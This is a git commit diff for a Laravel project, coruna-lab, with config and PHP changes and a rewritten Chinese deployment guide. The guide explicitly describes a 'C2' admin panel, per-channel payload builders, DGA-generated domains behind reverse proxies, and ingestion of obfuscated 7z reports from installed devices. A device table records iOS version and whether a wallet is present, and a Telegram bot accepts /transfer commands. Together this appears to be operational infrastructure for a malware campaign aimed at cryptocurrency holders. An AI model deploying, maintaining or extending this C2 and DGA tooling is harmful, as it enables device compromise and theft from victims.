feat: new channel

This commit is contained in:
hashbro
2026-08-15 03:51:34 +08:00
parent 74067e7b54
commit a18f3dceb7
5 changed files with 241 additions and 51 deletions
+4 -3
View File
@@ -59,12 +59,13 @@ CORUNA_REPORTING_DOMAINS=
# Prefer configuring in Admin → 系统 → 设置 after bootstrap.
CORUNA_ADMIN_HOSTS=
CORUNA_AGENT_HOSTS=
# In-process channel-builder (Python).
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
# In-process channel builders (Python). Old: channel-builder → public/web|sync
# New (xxbb/weifile): channel-builder-new → public/details + public/channel/<ver>/
CORUNA_CHANNEL_BUILDER_PYTHON=
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=
CORUNA_ARTIFACT_ROOT=
CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_NEW_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
CORUNA_STATIC_SITE_SCHEME=https
@@ -42,10 +42,10 @@ class DeviceController extends Controller
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$field = (string) $request->query('field', 'created_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'updated_at';
$field = 'created_at';
}
$q->orderBy('devices.'.$field, $order);
+20 -2
View File
@@ -412,17 +412,19 @@ class ChannelProjectService
: 'coruna.channel_builder.python';
$configured = trim((string) config($configKey, ''));
if ($configured !== '') {
// Trust .env: do not is_file() — venv python is usually a symlink to
// /usr/bin/python*, which fatals under panel open_basedir.
return $configured;
}
$venv = $this->builderCwd($builderType).'/.venv/bin/python';
if (is_file($venv)) {
if ($this->venvPythonExists($venv)) {
return $venv;
}
if ($builderType === self::BUILDER_NEW) {
$fallback = base_path('channel-builder/.venv/bin/python');
if (is_file($fallback)) {
if ($this->venvPythonExists($fallback)) {
return $fallback;
}
}
@@ -430,6 +432,22 @@ class ChannelProjectService
return 'python3';
}
/**
* Detect .venv/bin/python without following the symlink into /usr/bin
* (open_basedir typically allows the project root only).
*/
private function venvPythonExists(string $path): bool
{
clearstatcache(true, $path);
// is_link() checks the link inode inside the project; does not resolve target.
if (@is_link($path)) {
return true;
}
return @is_file($path);
}
private function builderScript(string $name, string $builderType): string
{
$path = $this->builderCwd($builderType).'/tools/'.$name;
+214 -44
View File
@@ -1,23 +1,41 @@
# 宝塔部署指南(coruna-lab + channel-builder)
# 宝塔部署指南(coruna-lab + channel-builder + channel-builder-new)
同机部署:Laravel 内嵌 `channel-builder` 直接构建产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
| 构建器 | 路径 | 渠道 ID | 产物 |
| --- | --- | --- | --- |
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
## 架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
| --------------- | ---------------------------- | --------------------------- | --------------- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 构建工具 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
| 角色 | 项目 / 路径 | 对外 | 进程 |
| --- | --- | --- | --- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
```text
设备 / 运营
│
├─ Admin / C2 /web /sync ──► coruna-lab/public (Laravel)
│ │
│ └─ Process ──► channel-builder → public/web|sync
│ └─ state → storage/app/channel-builder
├─ Admin / C2 ──► coruna-lab/public (Laravel)
│ │
│ ├─ Process ──► channel-builder
│ │ → public/web|sync
│ │ → state: storage/app/channel-builder
│ │
│ └─ Process ──► channel-builder-new
│ → public/details/(共享模板)
│ → public/channel/<ver>/(每渠道独占)
│ → state: storage/app/channel-builder-new
│
├─ 旧静态:/web/<id>/… /sync/…
├─ 新静态:/channel/<ver>/… /details/…
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/
```
@@ -73,7 +91,7 @@ max_input_time = 600
```
- `post_max_size` ≥ `upload_max_filesize`
- Admin 触发构建会同步等待 Python 脚本,超时与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600)
- Admin 触发构建会同步等待 Python 脚本(旧版 / 新版均走同一超时),与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600)
- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准
Nginx 站点配置建议同时加大:
@@ -88,11 +106,13 @@ client_max_body_size 64m;
## 1. 部署 channel-builder(随 coruna-lab)
## 1. 部署两套 channel-builder(随 coruna-lab)
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。
### 1.1 代码与依赖
### 1.1 旧版 `channel-builder`
```bash
cd /www/wwwroot/coruna-lab/channel-builder
@@ -100,23 +120,65 @@ cd /www/wwwroot/coruna-lab/channel-builder
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# PHP-FPM 用户需能执行 .venv/bin/python,并写 public/ 与 storage/app/channel-builder/
chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage
```
产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。
### 1.2 静态路径(写在 Admin 站点 public/)
产物默认落在 **Laravel** `public/`,与 Admin 同站即可,无需单独静态站点:
### 1.2 新版 `channel-builder-new`(xxbb / weifile)
```bash
cd /www/wwwroot/coruna-lab/channel-builder-new
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
依赖与旧版相同(`pycryptodome`、`py7zr`)。
产物与状态:
| 路径 | 作用 |
| --- | --- |
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
创建新版渠道时 Laravel 会:
1. 用 `.env` 的 `XXBB_CHANNEL_C` 跑 `tools/build.py --apply --force`(**不会** random)
2. 再跑 `tools/pack_channel.py` 打进 `public/channel/<ver>/`
因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。
### 1.3 权限与静态路径(Admin 站点 Nginx)
```bash
# PHP-FPM 用户需能执行两套 .venv/bin/python,并写 public/ 与两套 state
chown -R www:www \
/www/wwwroot/coruna-lab/public \
/www/wwwroot/coruna-lab/storage
```
产物默认落在 **Laravel** `public/`,与 Admin 同站即可:
```text
https://admin.example.com/web/<id>/support.html
# 旧版
https://admin.example.com/web/<32-hex>/support.html
https://admin.example.com/sync/daily.html
# 新版
https://admin.example.com/channel/<ver>/weifile/weifile.html
https://admin.example.com/channel/<ver>/details/
https://admin.example.com/details/… # 共享模板(native 按需拉)
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
```
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**):
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel:
```nginx
location ~ "^/web/[0-9a-f]{32}/" {
@@ -128,11 +190,56 @@ location /sync/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=60";
}
# 新版:每渠道独占树(ver 形如 A.B.C1)
location ~ "^/channel/[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版共享 details 模板
location /details/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
```
`lab_seeds.json` / `out/` 在 `storage/app/channel-builder/`,不在 web 根。
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2)。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要)
新版创建渠道前 `.env` 必须有共享 `c`。任选其一:
```bash
cd /www/wwwroot/coruna-lab
# 推荐:随机生成并写出共享产物
/www/server/php/82/bin/php artisan xxbb:build --random-c
# 输出含 XXBB_CHANNEL_C=… 与域名列表 → 写入 .env 后:
/www/server/php/82/bin/php artisan config:clear
# 或指定已有 c:
/www/server/php/82/bin/php artisan xxbb:build --channel-c=<32-hex>
```
等价手动:
```bash
cd /www/wwwroot/coruna-lab/channel-builder-new
.venv/bin/python tools/build.py --random-c --apply --force
# 或 --channel-c <32-hex>
```
注意:
- 部署后域名由 `c` 决定,**不要随意改** `XXBB_CHANNEL_C`,否则设备 DGA 与线上不一致
- 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c`
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
---
@@ -222,12 +329,20 @@ SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 内嵌 channel-builder(无 Build API;产物默认 public/)
# 内嵌两套 builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
# CORUNA_CHANNEL_NEW_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder-new
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。
# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
XXBB_CHANNEL_C=
# iptj PageVisit 与新版设备按 IP 关联窗口(分钟)
XXBB_VISIT_MATCH_MINUTES=30
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
CORUNA_STATIC_SITE_SCHEME=https
@@ -259,9 +374,26 @@ chmod -R ug+rwx storage/framework/sessions
浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。
### 2.5 p7zip(C2 入库)
### 2.5 新版 builder 就绪(有新版渠道时)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与 channel-builder 无关。
在 `composer install` / `migrate` 之后、后台建新版渠道之前:
1. 已按 **§1.2** 装好 `channel-builder-new/.venv`
2. 按 **§1.4** 生成并写入 `XXBB_CHANNEL_C`
3. 确认:
```bash
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'
/www/server/php/82/bin/php artisan xxbb:build # 使用 .env 中的 XXBB_CHANNEL_C 刷新 /details
ls -la /www/wwwroot/coruna-lab/public/details
ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
```
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。
### 2.6 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
Debian / Ubuntu(宝塔常见):
@@ -287,7 +419,7 @@ chmod +x bin/7z
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.6 Telegram Webhook(上线必做)
### 2.7 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
@@ -353,13 +485,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
## 3. 联调检查清单
1. `channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常
2. Admin 登录 `https://admin.example.com/admin/login`
3. 后台新建渠道 → 构建成功;响应含 `seeds` / `domains`(首次)
4. 打开静态站 `/web/<id>/support.html` 与 `/sync/daily.html`
5. `/web/<id>/support.html` 与 `/sync/daily.html` 可直接访问;seed 在 storage 不暴露
6. C2 上报与 7z 入库正常
7. `telegram:set-webhook` 成功;Bot 能收到指令
1. 旧版:`channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
3. Admin 登录 `https://admin.example.com/admin/login`
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 有内容
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
8. `telegram:set-webhook` 成功;Bot 能收到指令
---
@@ -368,12 +501,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
## 4. 日常运维
| 动作 | 命令 / 操作 |
| ---------- | -------------------------------------------------------------------- |
| 更新 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `storage/app/channel-builder` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 动作 | 命令 / 操作 |
| --- | --- |
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
@@ -418,6 +553,38 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C`
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python`
`.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。
处理(任选,建议 1+2):
1. `.env` 显式写上 Python(跳过探测;`proc_open` 执行软链通常仍可用):
```dotenv
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
```
```bash
/www/server/php/82/bin/php artisan config:clear
```
2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
自检:
```bash
ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# 常见:… -> /usr/bin/python3.10
```
### Nginx:`unknown directive "32}/(web|sync)/"`
location 正则未加引号,`{32}` 被当成配置块。改为:
@@ -426,6 +593,8 @@ location 正则未加引号,`{32}` 被当成配置块。改为:
location ~ "^/web/[0-9a-f]{32}/" {
```
新版 `/channel/` 正则同理,花括号必须放在引号内。
### `apt` 因 gitlab-ce 源 404 失败
@@ -483,10 +652,11 @@ chmod -R ug+rwx storage/framework/sessions
## 6. 分机部署(可选)
若要把 `/web` `/sync` 拆到另一台纯静态机:
若要把静态产物拆到另一台纯静态机:
- 构建后 rsync `public/web` + `public/sync` 到静态机文档根
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed 状态仍放在 lab 的 `CORUNA_CHANNEL_STATE_ROOT`
- 旧版:rsync `public/web` + `public/sync`
- 新版:rsync `public/channel` + `public/details`;`/c/<ver>/show.htm` 需仍打到 Laravel,或在静态机做等价映射
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
同机时无需拆分,Admin `public/` 即静态根。
同机时无需拆分,Admin `public/` 即静态根。
@@ -105,6 +105,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
url: @json(route($portal.'.devices.data')),
toolbar: true,
defaultToolbar: ['filter', 'exports', 'print'],
initSort: { field: 'created_at', type: 'desc' },
cols: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },